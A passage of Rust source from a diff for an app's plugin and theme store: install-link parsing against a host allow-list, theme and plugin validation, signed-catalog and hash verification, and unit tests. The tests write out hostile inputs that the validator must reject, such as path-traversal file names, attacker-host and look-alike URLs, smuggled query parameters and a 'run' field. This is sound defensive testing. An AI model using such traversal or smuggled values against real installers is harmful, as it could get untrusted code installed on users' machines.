let segments: Vec<&str> = url.path_segments().map(|s| s.collect()).unwrap_or_default();
return segments.len() >= 4 && segments[2] == "raw" && segments.iter().all(|s| !s.is_empty() && *s != "..");
}
true
}
fn hosts_text(hosts: &[AllowedHost]) -> String {
let names: Vec<&str> = hosts.iter().map(|h| h.host).collect();
let raw: Vec<&str> = hosts.iter().filter(|h| h.raw_files_only).map(|h| h.host).collect();
if raw.is_empty() {
names.join(", ")
} else {
format!("{} ({}: raw files)", names.join(", "), raw.join(", "))
}
}
/// What a `waybetter://install` link asks for.
#[derive(Clone, Debug, PartialEq, Eq, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct InstallLink {
pub kind: Kind,
pub url: String,
}
/// Parses `<scheme>://install?kind=theme|plugin&url=<https URL>`. Anything else (another host or
/// path, unknown or repeated parameters, a URL that is not allowed) is refused.
pub fn parse_install_link(config: &StoreConfig, link: &str) -> Result<InstallLink, String> {
if link.len() > MAX_LINK_CHARS {
return Err("LINK: too long".into());
}
let parsed = Url::parse(link.trim()).map_err(|_| "LINK: not a URL")?;
if parsed.scheme() != config.scheme {
return Err(format!("LINK: not a {}:// link", config.scheme));
}
// `waybetter://install?...` (host form) and `waybetter:install?...` (path form) both occur.
let action = parsed.host_str().map(str::to_owned).unwrap_or_else(|| parsed.path().to_owned());
let action = action.trim_matches('/');
if action != "install" || !matches!(parsed.path(), "" | "/" | "install") {
return Err(format!("LINK: only {}://install links are supported", config.scheme));
}
let mut kind = None;
let mut url = None;
for (key, value) in parsed.query_pairs() {
let slot = match key.as_ref() {
"kind" => &mut kind,
"url" => &mut url,
_ => return Err("LINK: unknown parameter".into()),
};
if slot.replace(value.into_owned()).is_some() {
return Err("LINK: repeated parameter".into());
}
}
let kind = Kind::parse(kind.as_deref().ok_or("LINK: missing kind")?).map_err(|_| "LINK: kind must be theme or plugin")?;
let target = Url::parse(url.as_deref().ok_or("LINK: missing url")?).map_err(|_| "LINK: url is not a URL")?;
if !allowed_download_url(config.allowed_hosts, &target) {
return Err(format!("LINK: only https links on {} can be installed", hosts_text(config.allowed_hosts)));
}
if kind == Kind::Plugin {
plugin_file_from_url(&target)?;
}
Ok(InstallLink { kind, url: target.to_string() })
}
/// The install link for `kind` and `url` (for sites and tests; parsing it applies every rule).
pub fn install_link(config: &StoreConfig, kind: Kind, url: &str) -> String {
format!("{}://install?kind={}&url={}", config.scheme, kind.as_str(), url::form_urlencoded::byte_serialize(url.as_bytes()).collect::<String>())
}
/// The file name a plugin downloaded from `url` is saved under: its last path segment.
pub fn plugin_file_from_url(url: &Url) -> Result<String, String> {
let segment = url.path_segments().and_then(|mut s| s.next_back()).unwrap_or_default();
let decoded = percent_decode(segment).ok_or("LINK: invalid file name")?;
if !valid_file_name(&decoded) {
return Err("LINK: a plugin link must end in a file named like name.plugin.js".into());
}
Ok(decoded)
}
fn percent_decode(value: &str) -> Option<String> {
let bytes = value.as_bytes();
let mut out = Vec::with_capacity(bytes.len());
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%' {
let hex = std::str::from_utf8(bytes.get(i + 1..i + 3)?).ok()?;
out.push(u8::from_str_radix(hex, 16).ok()?);
i += 3;
} else {
out.push(bytes[i]);
i += 1;
}
}
String::from_utf8(out).ok()
}
/// What the confirmation screen shows about a theme file (the shell parses the rest).
#[derive(Clone, Debug, PartialEq, Eq, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct ThemeInfo {
pub name: String,
pub author: String,
pub description: String,
/// Characters of theme CSS (the one part with custom-CSS trust).
pub css_chars: usize,
}
fn short(value: Option<&serde_json::Value>, max: usize) -> String {
value.and_then(serde_json::Value::as_str).unwrap_or_default().chars().filter(|ch| !ch.is_control()).take(max).collect()
}
/// A theme file: at most [`MAX_THEME_BYTES`], UTF-8 JSON, an object with a non-empty `name`.
pub fn validate_theme(bytes: &[u8]) -> Result<ThemeInfo, String> {
if bytes.is_empty() {
return Err("VALIDATION: the theme file is empty".into());
}
if bytes.len() > MAX_THEME_BYTES {
return Err("VALIDATION: themes are limited to 2 MiB".into());
}
let text = std::str::from_utf8(bytes).map_err(|_| "VALIDATION: a theme must be UTF-8 JSON")?;
let value: serde_json::Value = serde_json::from_str(text.trim_start_matches('\u{feff}')).map_err(|_| "VALIDATION: this file is not valid JSON")?;
let object = value.as_object().ok_or("VALIDATION: a theme is a JSON object")?;
let name = short(object.get("name"), 60);
if name.trim().is_empty() {
return Err("VALIDATION: a theme needs a \"name\"".into());
}
Ok(ThemeInfo {
name,
author: short(object.get("author"), 60),
description: short(object.get("description"), 200),
css_chars: object.get("css").and_then(serde_json::Value::as_str).map(|css| css.chars().count()).unwrap_or(0),
})
}
/// Validates a plugin for installation (see `plugins::validate_plugin`).
pub fn validate_plugin(file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
plugins::validate_plugin(file, bytes)
}
// ---------------------------------------------------------------------------------------------
// Store catalog
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct Swatch {
pub bg: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub surface: Option<String>,
pub text: String,
pub accent: String,
}
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct CatalogItem {
/// The wayBetter apps this item is for (app ids, e.g. `["x"]`); never empty.
pub apps: Vec<String>,
pub kind: Kind,
pub id: String,
pub name: String,
#[serde(default)]
pub author: String,
pub version: String,
#[serde(default)]
pub description: String,
#[serde(default)]
pub category: String,
#[serde(default)]
pub tags: Vec<String>,
pub url: String,
/// Plugins: the file name it is installed under.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub file: Option<String>,
pub sha256: String,
pub size: u64,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub preview: Option<String>,
/// Plugins: declared permissions (`None` = legacy, no `@permissions` line).
#[serde(default)]
pub permissions: Option<Vec<String>>,
/// Themes: a few colors for swatches.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub colors: Option<Swatch>,
}
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct Catalog {
pub format: u32,
pub name: String,
pub generated_at: String,
pub items: Vec<CatalogItem>,
}
impl Catalog {
/// The items for `app` only (what that app shows, stages and installs).
pub fn for_app(mut self, app: &str) -> Catalog {
self.items.retain(|item| item.is_for(app));
self
}
}
fn valid_id(id: &str) -> bool {
!id.is_empty() && id.len() <= 40 && id.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
}
fn valid_text(value: &str, max: usize) -> bool {
value.chars().count() <= max && !value.chars().any(char::is_control)
}
fn hex_color(value: &str) -> bool {
value.len() == 7 && value.starts_with('#') && value[1..].bytes().all(|b| b.is_ascii_hexdigit())
}
impl CatalogItem {
pub fn is_for(&self, app: &str) -> bool {
self.apps.iter().any(|id| id == app)
}
/// Shape rules every item must follow, whichever app it is for; the download hosts are
/// checked against `hosts` (the reading app's allow-list) for that app's own items.
fn check(&self, hosts: Option<&[AllowedHost]>) -> Result<(), String> {
let bad = |what: &str| Err(format!("STORE: item {}: invalid {what}", self.id.chars().take(40).collect::<String>()));
if !valid_id(&self.id) {
return bad("id");
}
let mut apps = HashSet::new();
if self.apps.is_empty() || self.apps.len() > MAX_ITEM_APPS || !self.apps.iter().all(|app| valid_app_id(app) && apps.insert(app.as_str())) {
return bad("apps");
}
if self.name.trim().is_empty() || !valid_text(&self.name, 60) || !valid_text(&self.author, 60) || !valid_text(&self.description, 600) {
return bad("name, author or description");
}
if self.version.is_empty() || !valid_text(&self.version, 32) || !valid_text(&self.category, 32) {
return bad("version or category");
}
if self.tags.len() > 12 || self.tags.iter().any(|tag| !valid_text(tag, 32)) {
return bad("tags");
}
let url = Url::parse(&self.url).map_err(|_| format!("STORE: item {}: invalid url", self.id))?;
if url.scheme() != "https" || url.as_str().len() > MAX_LINK_CHARS || hosts.is_some_and(|hosts| !allowed_download_url(hosts, &url)) {
return bad("url (host not allowed)");
}
if let Some(preview) = &self.preview {
let ok = Url::parse(preview).is_ok_and(|url| url.scheme() == "https" && hosts.is_none_or(|hosts| allowed_download_url(hosts, &url)));
if !ok {
return bad("preview");
}
}
if self.sha256.len() != 64 || !self.sha256.bytes().all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase()) {
return bad("sha256");
}
if self.size == 0 || self.size > self.kind.max_bytes() as u64 {
return bad("size");
}
match self.kind {
Kind::Plugin => {
if !self.file.as_deref().is_some_and(valid_file_name) || self.colors.is_some() {
return bad("plugin file");
}
if let Some(list) = &self.permissions {
let joined = list.join(",");
if plugins::parse_permissions(&joined).map(|parsed| parsed.len() != list.len()).unwrap_or(true) {
return bad("permissions");
}
}
}
Kind::Theme => {
if self.file.is_some() || self.permissions.is_some() {
return bad("theme fields");
}
if let Some(colors) = &self.colors {
let ok = [Some(&colors.bg), colors.surface.as_ref(), Some(&colors.text), Some(&colors.accent)].into_iter().flatten().all(|c| hex_color(c));
if !ok {
return bad("colors");
}
}
}
}
Ok(())
}
}
/// Decodes a store public key (base64 of the raw 32 bytes).
pub fn decode_key(text: &str) -> Result<VerifyingKey, String> {
let bytes = base64::engine::general_purpose::STANDARD.decode(text.trim()).map_err(|_| "STORE: invalid public key")?;
let bytes: [u8; 32] = bytes.try_into().map_err(|_| "STORE: invalid public key")?;
VerifyingKey::from_bytes(&bytes).map_err(|_| "STORE: invalid public key".into())
}
/// Verifies the detached signature (base64 of 64 bytes) over the exact catalog bytes with any of
/// the app's public keys, then parses and checks the whole catalog, and returns the items for
/// `config.app_id` only ([`Catalog::for_app`]). Nothing in an unverified catalog is looked at; a
/// malformed item for another app still refuses the catalog (one signed file, one set of rules).
pub fn verify_catalog(config: &StoreConfig, body: &[u8], signature: &str) -> Result<Catalog, String> {
if body.len() > MAX_CATALOG_BYTES {
return Err("STORE: catalog too large".into());
}
if signature.len() > MAX_SIGNATURE_BYTES {
return Err("STORE: signature too large".into());
}
let raw = base64::engine::general_purpose::STANDARD.decode(signature.trim()).map_err(|_| "STORE: invalid signature")?;
let raw: [u8; 64] = raw.try_into().map_err(|_| "STORE: invalid signature")?;
let signature = Signature::from_bytes(&raw);
let verified = config
.public_keys
.iter()
.filter_map(|key| decode_key(key).ok())
.any(|key| key.verify_strict(body, &signature).is_ok());
if !verified {
return Err("STORE: the catalog signature does not verify".into());
}
let catalog: Catalog = serde_json::from_slice(body).map_err(|error| format!("STORE: catalog schema: {error}"))?;
if catalog.format != CATALOG_FORMAT {
return Err("STORE: unsupported catalog format (update the app)".into());
}
if catalog.items.len() > MAX_ITEMS {
return Err("STORE: too many items".into());
}
let mut ids = HashSet::new();
let mut files = HashSet::new();
for item in &catalog.items {
item.check(item.is_for(config.app_id).then_some(config.allowed_hosts))?;
for app in &item.apps {
if !ids.insert((app.clone(), item.kind, item.id.clone())) {
return Err(format!("STORE: duplicate item {}", item.id));
}
if let Some(file) = &item.file {
if !files.insert((app.clone(), file.to_ascii_lowercase())) {
return Err(format!("STORE: duplicate plugin file {file}"));
}
}
}
}
Ok(catalog.for_app(config.app_id))
}
/// A downloaded item must be exactly what the signed catalog describes.
pub fn verify_item(item: &CatalogItem, bytes: &[u8]) -> Result<(), String> {
if bytes.len() as u64 != item.size {
return Err("STORE: the download's size does not match the signed catalog".into());
}
if sha256_hex(bytes) != item.sha256 {
return Err("STORE: the download's sha256 does not match the signed catalog".into());
}
Ok(())
}
// ---------------------------------------------------------------------------------------------
// Where installed things came from
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum SourceKind {
Store,
Link,
File,
}
/// One install the owner confirmed. Keyed `plugin:<file>` or `theme:<id>` in [`InstallRecords`].
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct InstallRecord {
pub kind: Kind,
pub source: SourceKind,
/// The link or store item URL (none for a dropped file).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub url: Option<String>,
/// Store item id, for update checks.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub store_id: Option<String>,
#[serde(default)]
pub version: String,
pub sha256: String,
pub installed_at: String,
}
#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct InstallRecords {
#[serde(default)]
pub items: BTreeMap<String, InstallRecord>,
}
impl InstallRecords {
pub fn key(kind: Kind, name: &str) -> String {
format!("{}:{name}", kind.as_str())
}
/// Bounded: keeps the newest 1000 records.
pub fn insert(&mut self, key: String, record: InstallRecord) {
self.items.insert(key, record);
while self.items.len() > 1000 {
let oldest = self.items.iter().min_by(|a, b| a.1.installed_at.cmp(&b.1.installed_at)).map(|(k, _)| k.clone());
match oldest {
Some(key) => self.items.remove(&key),
None => break,
};
}
}
}
/// `a` is a newer version than `b` (semver-ish: numeric dot parts compared as numbers).
pub fn newer_version(a: &str, b: &str) -> bool {
let parts = |v: &str| v.split(['.', '-', '+']).map(|p| p.parse::<u64>().unwrap_or(0)).collect::<Vec<_>>();
let (a, b) = (parts(a), parts(b));
for i in 0..a.len().max(b.len()) {
let (x, y) = (a.get(i).copied().unwrap_or(0), b.get(i).copied().unwrap_or(0));
if x != y {
return x > y;
}
}
false
}
#[cfg(test)]
pub(crate) mod tests {
use super::*;
pub(crate) fn config(app: &'static str, keys: &[String]) -> &'static StoreConfig {
let keys: Vec<&'static str> = keys.iter().map(|key| &*Box::leak(key.clone().into_boxed_str())).collect();
Box::leak(Box::new(StoreConfig {
app_id: app,
product: "wayBetter test",
user_agent: "wayBetter-test/0",
scheme: "waybetter",
store_base: DEFAULT_STORE_BASE,
public_keys: Box::leak(keys.into_boxed_slice()),
allowed_hosts: DEFAULT_HOSTS,
}))
}
fn link_config() -> &'static StoreConfig {
config("x", &[])
}
#[test]
fn install_links_accept_only_allow_listed_https_urls() {
let c = link_config();
let ok = parse_install_link(c, "waybetter://install?kind=theme&url=https%3A%2F%2Fwaybetter.fyi%2Fstore%2Fthemes%2Fnord.json").unwrap();
assert_eq!(ok, InstallLink { kind: Kind::Theme, url: "https://waybetter.fyi/store/themes/nord.json".into() });
let plugin = parse_install_link(c, "waybetter://install?kind=plugin&url=https://cdn1.crt.fyi/p/focus.plugin.js").unwrap();
assert_eq!(plugin.kind, Kind::Plugin);
assert!(parse_install_link(c, "waybetter://install?kind=plugin&url=https://git.crt.fyi/CRT/plugins/raw/branch/main/a.plugin.js").is_ok());
assert_eq!(parse_install_link(c, &install_link(c, Kind::Theme, "https://waybetter.fyi/store/themes/nord.json")).unwrap(), ok);
for bad in [
"https://waybetter.fyi/install?kind=theme&url=https://waybetter.fyi/a.json",
"waybetter://uninstall?kind=theme&url=https://waybetter.fyi/a.json",
"waybetter://install/extra?kind=theme&url=https://waybetter.fyi/a.json",
"waybetter://install?kind=script&url=https://waybetter.fyi/a.json",
"waybetter://install?kind=theme",
"waybetter://install?kind=theme&url=http://waybetter.fyi/a.json",
"waybetter://install?kind=theme&url=https://evil.example/a.json",
"waybetter://install?kind=theme&url=https://waybetter.fyi.evil.example/a.json",
"waybetter://install?kind=theme&url=https://user:pw@waybetter.fyi/a.json",
"waybetter://install?kind=theme&url=https://waybetter.fyi:8443/a.json",
"waybetter://install?kind=theme&url=https://waybetter.fyi/a.json%23x#frag",
"waybetter://install?kind=theme&url=file:///C:/a.json",
"waybetter://install?kind=theme&url=https://git.crt.fyi/CRT/repo/src/branch/main/a.json",
"waybetter://install?kind=theme&url=https://git.crt.fyi/CRT/repo/raw/../../a.json",
"waybetter://install?kind=theme&url=https://waybetter.fyi/a.json&url=https://waybetter.fyi/b.json",
"waybetter://install?kind=theme&url=https://waybetter.fyi/a.json&then=run",
"waybetter://install?kind=plugin&url=https://waybetter.fyi/store/plugins/tool.js",
"waybetter://install?kind=plugin&url=https://waybetter.fyi/store/plugins/..%252Fx.plugin.js",
"otherapp://install?kind=theme&url=https://waybetter.fyi/a.json",
] {
assert!(parse_install_link(c, bad).is_err(), "accepted {bad}");
}
assert!(parse_install_link(c, &format!("waybetter://install?kind=theme&url=https://waybetter.fyi/{}", "a".repeat(MAX_LINK_CHARS))).is_err());
}
#[test]
fn allow_lists_are_per_app() {
const ONLY_CDN: &[AllowedHost] = &[AllowedHost { host: "cdn.example", raw_files_only: false }];
let narrow = StoreConfig { allowed_hosts: ONLY_CDN, scheme: "wbkick", ..*link_config() };
assert!(parse_install_link(&narrow, "wbkick://install?kind=theme&url=https://cdn.example/a.json").is_ok());
assert!(parse_install_link(&narrow, "wbkick://install?kind=theme&url=https://waybetter.fyi/a.json").unwrap_err().contains("cdn.example"));
assert!(parse_install_link(&narrow, "waybetter://install?kind=theme&url=https://cdn.example/a.json").unwrap_err().contains("wbkick://"));
let url = Url::parse("https://git.crt.fyi/CRT/repo/raw/branch/main/a.json").unwrap();
assert!(allowed_download_url(DEFAULT_HOSTS, &url) && !allowed_download_url(ONLY_CDN, &url));
}
#[test]
fn plugin_file_names_come_from_the_last_path_segment() {
let url = Url::parse("https://waybetter.fyi/store/plugins/My%20Tool.plugin.js").unwrap();
assert_eq!(plugin_file_from_url(&url).unwrap(), "My Tool.plugin.js");
let url = Url::parse("https://waybetter.fyi/store/plugins/%2E%2E%5Cx.plugin.js").unwrap();
assert!(plugin_file_from_url(&url).is_err());
}
#[test]
fn themes_must_be_named_json_objects_under_the_cap() {
let info = validate_theme(br#"{"name":"Nord","author":"me","css":"a{}"}"#).unwrap();
assert_eq!((info.name.as_str(), info.author.as_str(), info.css_chars), ("Nord", "me", 3));
assert!(validate_theme(b"").is_err());
assert!(validate_theme(b"[1,2]").unwrap_err().contains("object"));
assert!(validate_theme(br#"{"colors":{}}"#).unwrap_err().contains("name"));
assert!(validate_theme(b"{not json").unwrap_err().contains("JSON"));
assert!(validate_theme(&[0xff, 0xfe]).unwrap_err().contains("UTF-8"));
let big = format!(r#"{{"name":"Big","css":"{}"}}"#, "a".repeat(MAX_THEME_BYTES));
assert!(validate_theme(big.as_bytes()).unwrap_err().contains("2 MiB"));
}
pub(crate) fn test_key(seed: u8) -> (ed25519_dalek::SigningKey, String) {
let key = ed25519_dalek::SigningKey::from_bytes(&[seed; 32]);
let public = base64::engine::general_purpose::STANDARD.encode(key.verifying_key().to_bytes());
(key, public)
}
pub(crate) fn sign(key: &ed25519_dalek::SigningKey, body: &[u8]) -> String {
use ed25519_dalek::Signer;
base64::engine::general_purpose::STANDARD.encode(key.sign(body).to_bytes())
}
pub(crate) fn catalog_json(items: serde_json::Value) -> Vec<u8> {
serde_json::to_vec(&serde_json::json!({ "format": CATALOG_FORMAT, "name": "Test", "generatedAt": "2026-09-28T00:00:00Z", "items": items })).unwrap()
}
pub(crate) fn plugin_item(body: &[u8]) -> serde_json::Value {
serde_json::json!({
"apps": ["x"], "kind": "plugin", "id": "tool", "name": "Tool", "author": "me", "version": "1.0.0", "description": "d",
"category": "tools", "tags": ["x"], "url": "https://waybetter.fyi/store/plugins/tool.plugin.js", "file": "tool.plugin.js",
"sha256": sha256_hex(body), "size": body.len(), "preview": "https://waybetter.fyi/store/previews/tool.svg", "permissions": ["ui"]
})
}
pub(crate) fn theme_item(body: &[u8]) -> serde_json::Value {
serde_json::json!({
"apps": ["x"], "kind": "theme", "id": "nord", "name": "Nord", "version": "1.0.0", "category": "dark",
"url": "https://waybetter.fyi/store/themes/nord.json", "sha256": sha256_hex(body), "size": body.len(),
"colors": { "bg": "#2e3440", "text": "#eceff4", "accent": "#88c0d0" }
})
}
pub(crate) const PLUGIN: &[u8] = b"/**\n * @name Tool\n * @version 1.0.0\n * @permissions ui\n */\nmodule.exports = class {};";
#[test]
fn catalog_signature_and_items_are_verified() {
let (key, public) = test_key(7);
let body = catalog_json(serde_json::json!([plugin_item(PLUGIN)]));
let signature = sign(&key, &body);
let c = config("x", std::slice::from_ref(&public));
let catalog = verify_catalog(c, &body, &signature).unwrap();
assert_eq!(catalog.items[0].file.as_deref(), Some("tool.plugin.js"));
verify_item(&catalog.items[0], PLUGIN).unwrap();
assert!(verify_item(&catalog.items[0], b"tampered").is_err());
let mut same_size = PLUGIN.to_vec();
same_size[20] ^= 1;
assert!(verify_item(&catalog.items[0], &same_size).unwrap_err().contains("sha256"));
// One changed byte, another key, a garbage or oversized signature: refused.
let mut tampered = body.clone();
let at = tampered.iter().position(|b| *b == b'T').unwrap();
tampered[at] = b'X';
assert!(verify_catalog(c, &tampered, &signature).unwrap_err().contains("does not verify"));
let (_, other) = test_key(9);
assert!(verify_catalog(config("x", std::slice::from_ref(&other)), &body, &signature).is_err());
assert!(verify_catalog(config("x", &[]), &body, &signature).is_err(), "no keys, nothing verifies");
assert!(verify_catalog(config("x", &["garbage".into()]), &body, &signature).is_err());
assert!(verify_catalog(c, &body, "not base64!").is_err());
assert!(verify_catalog(c, &body, &"A".repeat(MAX_SIGNATURE_BYTES + 1)).is_err());
}
#[test]
fn keys_rotate_any_listed_key_may_sign() {
let (old, old_public) = test_key(7);
let (new, new_public) = test_key(11);
let body = catalog_json(serde_json::json!([plugin_item(PLUGIN)]));
let both = config("x", &[old_public.clone(), new_public.clone()]);
// An app that ships both keys accepts the catalog signed with either one...
assert!(verify_catalog(both, &body, &sign(&old, &body)).is_ok());
assert!(verify_catalog(both, &body, &sign(&new, &body)).is_ok());
// ...and once the old key is dropped, only the new signature verifies.
assert!(verify_catalog(config("x", &[new_public]), &body, &sign(&old, &body)).is_err());
assert!(verify_catalog(config("x", &[old_public]), &body, &sign(&new, &body)).is_err());
}
#[test]
fn one_catalog_serves_every_app_each_sees_only_its_own_items() {
let (key, public) = test_key(7);
let mut kick = plugin_item(PLUGIN);
kick["apps"] = serde_json::json!(["kick"]);
let mut both = theme_item(b"{}");
both["apps"] = serde_json::json!(["x", "kick"]);
let body = catalog_json(serde_json::json!([plugin_item(PLUGIN), kick, both]));
let signature = sign(&key, &body);
let x = verify_catalog(config("x", std::slice::from_ref(&public)), &body, &signature).unwrap();
assert_eq!(x.items.iter().map(|i| i.id.as_str()).collect::<Vec<_>>(), ["tool", "nord"]);
let kick = verify_catalog(config("kick", std::slice::from_ref(&public)), &body, &signature).unwrap();
assert_eq!(kick.items.iter().map(|i| (i.id.as_str(), i.apps.len())).collect::<Vec<_>>(), [("tool", 1), ("nord", 2)]);
assert!(verify_catalog(config("whatsapp", &[public]), &body, &signature).unwrap().items.is_empty());
}
#[test]
fn another_apps_item_is_checked_for_shape_but_not_against_this_apps_hosts() {
let (key, public) = test_key(7);
let mut other = plugin_item(PLUGIN);
other["apps"] = serde_json::json!(["kick"]);
other["url"] = serde_json::json!("https://kick-cdn.example/tool.plugin.js");
other["preview"] = serde_json::json!("https://kick-cdn.example/tool.svg");
let body = catalog_json(serde_json::json!([other.clone()]));
assert!(verify_catalog(config("x", std::slice::from_ref(&public)), &body, &sign(&key, &body)).is_ok());
// The same item for this app: its host is not on this app's list.
other["apps"] = serde_json::json!(["x"]);
let body = catalog_json(serde_json::json!([other.clone()]));
assert!(verify_catalog(config("x", std::slice::from_ref(&public)), &body, &sign(&key, &body)).unwrap_err().contains("host"));
// Not https, or malformed, is refused for every app.
other["apps"] = serde_json::json!(["kick"]);
other["url"] = serde_json::json!("http://kick-cdn.example/tool.plugin.js");
let body = catalog_json(serde_json::json!([other]));
assert!(verify_catalog(config("x", &[public]), &body, &sign(&key, &body)).is_err());
}
#[test]
fn signed_catalogs_with_bad_items_are_still_refused() {
let (key, public) = test_key(7);
let c = config("x", &[public]);
let good = plugin_item(b"x");
let cases: Vec<(&str, serde_json::Value)> = vec![
("url", serde_json::json!({ "url": "https://evil.example/tool.plugin.js" })),
("preview", serde_json::json!({ "preview": "http://waybetter.fyi/p.svg" })),
("sha256", serde_json::json!({ "sha256": "ABC" })),
("size", serde_json::json!({ "size": MAX_PLUGIN_BYTES + 1 })),
("file", serde_json::json!({ "file": "../tool.plugin.js" })),
("permissions", serde_json::json!({ "permissions": ["root"] })),
("id", serde_json::json!({ "id": "Tool!" })),
("unknown field", serde_json::json!({ "run": "code" })),
("no apps", serde_json::json!({ "apps": [] })),
("bad app id", serde_json::json!({ "apps": ["X"] })),
("repeated app", serde_json::json!({ "apps": ["x", "x"] })),
("apps not a list", serde_json::json!({ "apps": "x" })),
];
for (what, patch) in cases {
let mut item = good.clone();
for (k, v) in patch.as_object().unwrap() {
item[k] = v.clone();
}
let body = catalog_json(serde_json::json!([item]));
assert!(verify_catalog(c, &body, &sign(&key, &body)).is_err(), "accepted bad {what}");
}
let mut missing = good.clone();
missing.as_object_mut().unwrap().remove("apps");
let body = catalog_json(serde_json::json!([missing]));
assert!(verify_catalog(c, &body, &sign(&key, &body)).is_err(), "accepted an item without apps");
let body = catalog_json(serde_json::json!([good.clone(), good.clone()]));
assert!(verify_catalog(c, &body, &sign(&key, &body)).unwrap_err().contains("duplicate"));
let mut same_file = good.clone();
same_file["id"] = serde_json::json!("tool-2");
same_file["file"] = serde_json::json!("TOOL.plugin.js");
let body = catalog_json(serde_json::json!([good.clone(), same_file.clone()]));
assert!(verify_catalog(c, &body, &sign(&key, &body)).unwrap_err().contains("duplicate plugin file"));
// The same id or file for two different apps is fine.
same_file["apps"] = serde_json::json!(["kick"]);
same_file["id"] = serde_json::json!("tool");
let body = catalog_json(serde_json::json!([good, same_file]));
assert!(verify_catalog(c, &body, &sign(&key, &body)).is_ok());
// Format 1 (no apps) is refused with an update hint.
let body = serde_json::to_vec(&serde_json::json!({ "format": 1, "name": "Old", "generatedAt": "2026-09-28T00:00:00Z", "items": [] })).unwrap();
assert!(verify_catalog(c, &body, &sign(&key, &body)).unwrap_err().contains("update the app"));
}
#[test]
fn versions_compare_numerically() {
assert!(newer_version("1.10.0", "1.9.3"));
assert!(newer_version("2.0", "1.9.9"));
assert!(!newer_version("1.0.0", "1.0.0"));
assert!(!newer_version("1.0.0", "1.0.1"));
}
#[test]
fn install_records_are_bounded() {
let mut records = InstallRecords::default();
for i in 0..1005 {
records.insert(format!("plugin:{i}.plugin.js"), InstallRecord {
kind: Kind::Plugin, source: SourceKind::File, url: None, store_id: None, version: "1".into(), sha256: "0".repeat(64),
installed_at: format!("2026-09-28T00:{:02}:{:02}Z", i / 60 % 60, i % 60),
});
}
assert_eq!(records.items.len(), 1000);
}
}

View file

@ -0,0 +1,662 @@
//! The install screen's state and file work, shared by every wayBetter app: links waiting for the
//! shell, installs staged for the confirmation screen, the verified catalog (and its offline copy),
//! and where installed things came from. The app wraps these methods in shell-only Tauri commands
//! and passes a function that runs a plugin start/stop script in its site tabs.
use super::catalog::{
self as dist, Catalog, CatalogItem, InstallLink, InstallRecord, InstallRecords, Kind, SourceKind, StoreConfig, ThemeInfo,
};
use crate::plugins::{self, PluginHost, PluginStore, ScriptPlugin, PLUGIN_SUFFIX};
use serde::{Deserialize, Serialize};
use std::collections::{BTreeMap, HashMap, VecDeque};
use std::path::{Path, PathBuf};
use std::sync::{Mutex, MutexGuard};
use std::time::{Duration, Instant};
use url::Url;
/// Install records in the app-data folder.
pub const RECORDS_FILE: &str = "store-installed.json";
/// The last verified catalog and its signature (verified again when read back).
pub const CATALOG_CACHE: &str = "store-catalog.json";
pub const CATALOG_SIG_CACHE: &str = "store-catalog.json.sig";
/// Shell event: a validated install link (`{ link: { kind, url } }`) or `{ error }`.
pub const EVENT_LINK: &str = "install-link";
/// Links received before the shell asked for them (startup, or while the shell reloads).
const MAX_PENDING: usize = 8;
const MAX_STAGED: usize = 8;
const STAGED_TTL: Duration = Duration::from_secs(15 * 60);
/// The confirmation screen enables Install after a moment; a commit faster than this was not read.
pub const MIN_REVIEW: Duration = Duration::from_millis(600);
/// How long a fetched catalog is used before the next store open fetches it again.
pub const CATALOG_TTL: Duration = Duration::from_secs(10 * 60);
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct LinkEvent {
#[serde(skip_serializing_if = "Option::is_none")]
pub link: Option<InstallLink>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<String>,
}
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct SourceView {
pub kind: SourceKind,
pub url: Option<String>,
/// "wayBetter Store (signed catalog, sha256 verified)", "Link: waybetter.fyi", "A file you dropped"
pub label: String,
pub signed: bool,
}
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct Existing {
pub version: String,
pub enabled: bool,
/// The installed file is byte-identical to this one.
pub same: bool,
}
/// Everything the confirmation screen shows. `text` is the exact content that will be written.
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct InstallPreview {
pub token: String,
pub kind: Kind,
pub source: SourceView,
pub sha256: String,
pub size: usize,
pub file: Option<String>,
pub text: String,
pub version: String,
pub plugin: Option<ScriptPlugin>,
pub theme: Option<ThemeInfo>,
pub findings: Vec<&'static str>,
pub existing: Option<Existing>,
pub store: Option<CatalogItem>,
}
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct InstallOutcome {
pub kind: Kind,
/// Plugins: the list after installing.
pub plugins: Option<Vec<ScriptPlugin>>,
/// Themes: the exact JSON the owner confirmed; the shell adds it (sanitized) to its themes.
pub theme_text: Option<String>,
}
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct InstalledPlugin {
pub version: String,
pub sha256: String,
pub enabled: bool,
}
/// What the Store view shows: this app's items from the verified catalog, with what is installed.
#[derive(Clone, Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct StoreView {
pub catalog: Option<Catalog>,
pub fetched_at: Option<String>,
